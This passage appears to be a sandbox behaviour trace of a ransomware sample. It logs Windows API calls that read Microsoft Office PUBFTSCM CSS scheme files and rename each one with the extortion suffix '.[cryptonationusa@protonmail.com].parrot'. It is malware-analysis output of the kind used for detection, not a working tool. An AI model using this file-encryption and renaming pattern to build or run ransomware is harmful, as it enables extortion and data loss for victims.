Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme10.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.683] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.683] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.684] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.684] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20030, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20030, lpOverlapped=0x0) returned 1 [0174.691] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.693] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme11.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme11.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.699] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.699] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.712] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.712] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e09a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e09a, lpOverlapped=0x0) returned 1 [0174.719] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme12.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme12.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.730] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.730] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.741] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.741] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ec9a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1ec9a, lpOverlapped=0x0) returned 1 [0174.749] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.754] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme13.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme13.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.759] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.760] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.761] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.761] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f5cc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f5cc, lpOverlapped=0x0) returned 1 [0174.767] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.771] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme14.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme14.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.825] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.825] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.826] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.826] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e094, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e094, lpOverlapped=0x0) returned 1 [0174.833] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.837] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme15.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme15.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.844] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.844] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.856] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.856] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f822, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f822, lpOverlapped=0x0) returned 1 [0174.863] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme16.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme16.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.874] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.874] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.878] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.878] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1eada, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1eada, lpOverlapped=0x0) returned 1 [0174.899] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.903] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme17.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme17.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.909] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.909] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.911] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.911] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20438, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20438, lpOverlapped=0x0) returned 1 [0174.918] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme18.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme18.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.927] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.927] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.928] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.929] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fff2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1fff2, lpOverlapped=0x0) returned 1 [0174.936] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme19.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme19.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.947] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.947] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.948] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.948] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f6f0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f6f0, lpOverlapped=0x0) returned 1 [0174.954] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.958] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme20.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME20.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme20.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.964] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.964] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.013] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.013] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1eae6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1eae6, lpOverlapped=0x0) returned 1 [0175.019] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.024] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme21.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme21.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.030] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.030] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.031] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.031] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fcca, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1fcca, lpOverlapped=0x0) returned 1 [0175.037] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.042] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme22.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme22.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.048] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.049] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.050] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.050] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f5fa, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f5fa, lpOverlapped=0x0) returned 1 [0175.056] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.061] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme23.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme23.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.067] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.067] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.068] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.068] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ee38, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1ee38, lpOverlapped=0x0) returned 1 [0175.075] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.079] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme24.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme24.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.085] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.085] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.086] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.086] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fcee, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1fcee, lpOverlapped=0x0) returned 1 [0175.096] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme25.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme25.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.106] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.106] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.108] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.108] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d1b6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d1b6, lpOverlapped=0x0) returned 1 [0175.114] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme26.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme26.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.168] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.168] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.170] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.170] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e088, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e088, lpOverlapped=0x0) returned 1 [0175.177] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.181] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme27.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme27.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.187] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.187] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.189] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.189] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d754, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d754, lpOverlapped=0x0) returned 1 [0175.195] 